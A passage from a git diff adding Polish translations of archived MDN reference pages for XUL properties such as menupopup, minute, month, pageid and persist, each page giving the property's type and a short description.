+ Odniesienie elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> stosuje się dla list edycji menu. Ta własność jest tylko do odczytu i nakłada się tylko do montażu w <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>.</dd>
+</dl>
+<div class="noinclude">
+ <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+ <ul>
+ <li><a href="pl/XUL/W%c5%82asno%c5%9b%c4%87/inputField">inputField</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/pl/mozilla/tech/xul/własność/menupopup/index.html b/files/pl/mozilla/tech/xul/własność/menupopup/index.html
new file mode 100644
index 0000000000..af11dea0be
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/menupopup/index.html
@@ -0,0 +1,20 @@
+---
+title: menupopup
+slug: Mozilla/Tech/XUL/Własność/menupopup
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/menupopup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menupopup">menupopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element menupopup</i>
+ </dd>
+ <dd>
+ Referencja do <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> stosowany przez <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>. Własność ta jest tylko do odczytu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/min/index.html b/files/pl/mozilla/tech/xul/własność/min/index.html
new file mode 100644
index 0000000000..8d172dd6a2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/min/index.html
@@ -0,0 +1,13 @@
+---
+title: min
+slug: Mozilla/Tech/XUL/Własność/min
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/min
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/min">min</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>min</code>. </dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/minheight/index.html b/files/pl/mozilla/tech/xul/własność/minheight/index.html
new file mode 100644
index 0000000000..81c9f51619
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/minheight/index.html
@@ -0,0 +1,20 @@
+---
+title: minHeight
+slug: Mozilla/Tech/XUL/Własność/minHeight
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/minHeight
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/minresultsforpopup/index.html b/files/pl/mozilla/tech/xul/własność/minresultsforpopup/index.html
new file mode 100644
index 0000000000..eb63b43c34
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/minresultsforpopup/index.html
@@ -0,0 +1,20 @@
+---
+title: minResultsForPopup
+slug: Mozilla/Tech/XUL/Własność/minResultsForPopup
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/minResultsForPopup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minResultsForPopup">minResultsForPopup</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-minresultsforpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minresultsforpopup">minresultsforpopup</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/minute/index.html b/files/pl/mozilla/tech/xul/własność/minute/index.html
new file mode 100644
index 0000000000..46f644d0d2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/minute/index.html
@@ -0,0 +1,17 @@
+---
+title: minute
+slug: Mozilla/Tech/XUL/Własność/minute
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/minute
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minute">minute</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczona minuta z przedziału od 0 do 59. Ustaw tą własność, aby zmienić zaznaczoną minutę.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/minuteleadingzero/index.html b/files/pl/mozilla/tech/xul/własność/minuteleadingzero/index.html
new file mode 100644
index 0000000000..6217fda451
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/minuteleadingzero/index.html
@@ -0,0 +1,17 @@
+---
+title: minuteLeadingZero
+slug: Mozilla/Tech/XUL/Własność/minuteLeadingZero
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/minuteLeadingZero
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minuteLeadingZero">minuteLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed minutą zanim jest ona mniejsza niż 10.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/minwidth/index.html b/files/pl/mozilla/tech/xul/własność/minwidth/index.html
new file mode 100644
index 0000000000..81e9e4589e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/minwidth/index.html
@@ -0,0 +1,20 @@
+---
+title: minWidth
+slug: Mozilla/Tech/XUL/Własność/minWidth
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/minWidth
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/mode/index.html b/files/pl/mozilla/tech/xul/własność/mode/index.html
new file mode 100644
index 0000000000..2974ef161a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/mode/index.html
@@ -0,0 +1,20 @@
+---
+title: mode
+slug: Mozilla/Tech/XUL/Własność/mode
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/mode
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/mode">mode</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-mode"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mode">mode</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/month/index.html b/files/pl/mozilla/tech/xul/własność/month/index.html
new file mode 100644
index 0000000000..f5f74ceece
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/month/index.html
@@ -0,0 +1,17 @@
+---
+title: month
+slug: Mozilla/Tech/XUL/Własność/month
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/month
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/month">month</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczony miesiąc z przedziału od 0 do 11. Ustaw tą własność, aby zmienić zaznaczony miesiąc.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/monthleadingzero/index.html b/files/pl/mozilla/tech/xul/własność/monthleadingzero/index.html
new file mode 100644
index 0000000000..53f15d82a2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/monthleadingzero/index.html
@@ -0,0 +1,17 @@
+---
+title: monthLeadingZero
+slug: Mozilla/Tech/XUL/Własność/monthLeadingZero
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/monthLeadingZero
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/monthLeadingZero">monthLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed miesiącem zanim jest on mniejszy niż 10.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/name/index.html b/files/pl/mozilla/tech/xul/własność/name/index.html
new file mode 100644
index 0000000000..a9dd5d6adb
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/name/index.html
@@ -0,0 +1,20 @@
+---
+title: name
+slug: Mozilla/Tech/XUL/Własność/name
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/name
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/name">name</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Nazwa <code><a href="/pl/docs/Mozilla/Tech/XUL/preference" title="preference">preference</a></code> do zmiany. Na przykład, strona startowa przeglądarki jest ustawiona z preferencją <code>browser.startup.homepage</code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/next/index.html b/files/pl/mozilla/tech/xul/własność/next/index.html
new file mode 100644
index 0000000000..6a3863985a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/next/index.html
@@ -0,0 +1,20 @@
+---
+title: next
+slug: Mozilla/Tech/XUL/Własność/next
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/next
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/next">next</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id łańcucha znaków <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
+ Ustawia <code id="a-pageid"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pageid">pageid</a></code> następnej strony znajdującą się zaraz po tej. Kiedy ustawimy stronę z własnością pageID jest ona wyświetlona kiedy przycisk Dalej jest naciśnięty. Może być użyty do tworzenia kreatorów, które nie posiadają liniowej kolejności. Jeśli jedna ze stron posiada atrybut <code>next</code>, to będą posiadały go także wszystkie pozostałe oprócz ostatniej strony.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/nomatch/index.html b/files/pl/mozilla/tech/xul/własność/nomatch/index.html
new file mode 100644
index 0000000000..998610d7d0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/nomatch/index.html
@@ -0,0 +1,20 @@
+---
+title: noMatch
+slug: Mozilla/Tech/XUL/Własność/noMatch
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/noMatch
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/noMatch">noMatch</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność będzie ustawiona na <code>true</code>, jeśli ostatni rezultat szukania nie zawierał żadnych pozycji.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/object/index.html b/files/pl/mozilla/tech/xul/własność/object/index.html
new file mode 100644
index 0000000000..5e9251335a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/object/index.html
@@ -0,0 +1,15 @@
+---
+title: object
+slug: Mozilla/Tech/XUL/Własność/object
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/object
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/object">object</a></span></code></dt>
+ <dd>
+ Obiekt elementu. Może być referencją zmiennej, URI źródła RDF lub wartością literalną RDF.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/observes/index.html b/files/pl/mozilla/tech/xul/własność/observes/index.html
new file mode 100644
index 0000000000..297744cb92
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/observes/index.html
@@ -0,0 +1,20 @@
+---
+title: observes
+slug: Mozilla/Tech/XUL/Własność/observes
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/observes
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id elementu broadcaster</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/onfirstpage/index.html b/files/pl/mozilla/tech/xul/własność/onfirstpage/index.html
new file mode 100644
index 0000000000..7654ddbd3a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/onfirstpage/index.html
@@ -0,0 +1,20 @@
+---
+title: onFirstPage
+slug: Mozilla/Tech/XUL/Własność/onFirstPage
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/onFirstPage
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/onFirstPage">onFirstPage</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona na <code>true</code>, jeśli użytkownik jest na pierwszej stronie, która może być lub nie być pierwsza w indeksie.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/onlastpage/index.html b/files/pl/mozilla/tech/xul/własność/onlastpage/index.html
new file mode 100644
index 0000000000..03ab61e399
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/onlastpage/index.html
@@ -0,0 +1,20 @@
+---
+title: onLastPage
+slug: Mozilla/Tech/XUL/Własność/onLastPage
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/onLastPage
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/onLastPage">onLastPage</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Ta własność jest ustawiona na <code>true</code>, jeśli użytkownik jest na ostatniej stronie kreatora.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/open/index.html b/files/pl/mozilla/tech/xul/własność/open/index.html
new file mode 100644
index 0000000000..c25868f991
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/open/index.html
@@ -0,0 +1,20 @@
+---
+title: open
+slug: Mozilla/Tech/XUL/Własność/open
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/open
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/open">open</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-open"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/ordinal/index.html b/files/pl/mozilla/tech/xul/własność/ordinal/index.html
new file mode 100644
index 0000000000..c7845eac72
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/ordinal/index.html
@@ -0,0 +1,20 @@
+---
+title: ordinal
+slug: Mozilla/Tech/XUL/Własność/ordinal
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/ordinal
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/orient/index.html b/files/pl/mozilla/tech/xul/własność/orient/index.html
new file mode 100644
index 0000000000..90ce7bda15
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/orient/index.html
@@ -0,0 +1,20 @@
+---
+title: orient
+slug: Mozilla/Tech/XUL/Własność/orient
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/orient
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/pack/index.html b/files/pl/mozilla/tech/xul/własność/pack/index.html
new file mode 100644
index 0000000000..f86b018d45
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/pack/index.html
@@ -0,0 +1,20 @@
+---
+title: pack
+slug: Mozilla/Tech/XUL/Własność/pack
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/pack
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/pagecount/index.html b/files/pl/mozilla/tech/xul/własność/pagecount/index.html
new file mode 100644
index 0000000000..14eb3372f1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/pagecount/index.html
@@ -0,0 +1,16 @@
+---
+title: pageCount
+slug: Mozilla/Tech/XUL/Własność/pageCount
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/pageCount
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pageCount">pageCount</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Ta własność trzyma liczbę stron w kreatorze (<code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>).
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/pageid/index.html b/files/pl/mozilla/tech/xul/własność/pageid/index.html
new file mode 100644
index 0000000000..dd54adbb63
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/pageid/index.html
@@ -0,0 +1,20 @@
+---
+title: pageid
+slug: Mozilla/Tech/XUL/Własność/pageid
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/pageid
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pageid">pageid</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ id łańcucha znaków <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
+ Ten atrybut powinien być ustawiony na łańcuch znaków, który identyfikuje strony identyfikatorem <code><a href="/pl/docs/Mozilla/Tech/XUL/wizard" title="wizard">wizard</a></code>. Jest stosowany z atrybutem <code id="a-next"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/next">next</a></code>. Kreator zawsze startuje z <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code>, który pojawia się pierwszy na liście potomnych kreatora.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/pageincrement/index.html b/files/pl/mozilla/tech/xul/własność/pageincrement/index.html
new file mode 100644
index 0000000000..71d86a1a96
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/pageincrement/index.html
@@ -0,0 +1,13 @@
+---
+title: pageIncrement
+slug: Mozilla/Tech/XUL/Własność/pageIncrement
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/pageIncrement
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pageIncrement">pageIncrement</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code>pageincrement</code>. </dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/pageindex/index.html b/files/pl/mozilla/tech/xul/własność/pageindex/index.html
new file mode 100644
index 0000000000..52385b7a0a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/pageindex/index.html
@@ -0,0 +1,22 @@
+---
+title: pageIndex
+slug: Mozilla/Tech/XUL/Własność/pageIndex
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/pageIndex
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pageIndex">pageIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Ta własność zwraca indeks aktualnie zaznaczonej strony. Możemy zmienić zaznaczenie strony poprzez modyfikacje tej własności.</dd>
+</dl>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/mozilla/tech/xul/własność/palette/index.html b/files/pl/mozilla/tech/xul/własność/palette/index.html
new file mode 100644
index 0000000000..8eba89536a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/palette/index.html
@@ -0,0 +1,22 @@
+---
+title: palette
+slug: Mozilla/Tech/XUL/Własność/palette
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/palette
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/palette">palette</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/persist/index.html b/files/pl/mozilla/tech/xul/własność/persist/index.html
new file mode 100644
index 0000000000..65ef2ba5f1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/persist/index.html
@@ -0,0 +1,20 @@
+---
+title: persist
+slug: Mozilla/Tech/XUL/Własność/persist
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/persist
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ lista nazw atrybutów oddzielona spacją</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/pmindicator/index.html b/files/pl/mozilla/tech/xul/własność/pmindicator/index.html
new file mode 100644
index 0000000000..8c28ac9476
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/pmindicator/index.html
@@ -0,0 +1,17 @@
+---
+title: pmIndicator
+slug: Mozilla/Tech/XUL/Własność/pmIndicator
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/pmIndicator
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pmIndicator">pmIndicator</a></span></code></dt>
+ <dd>
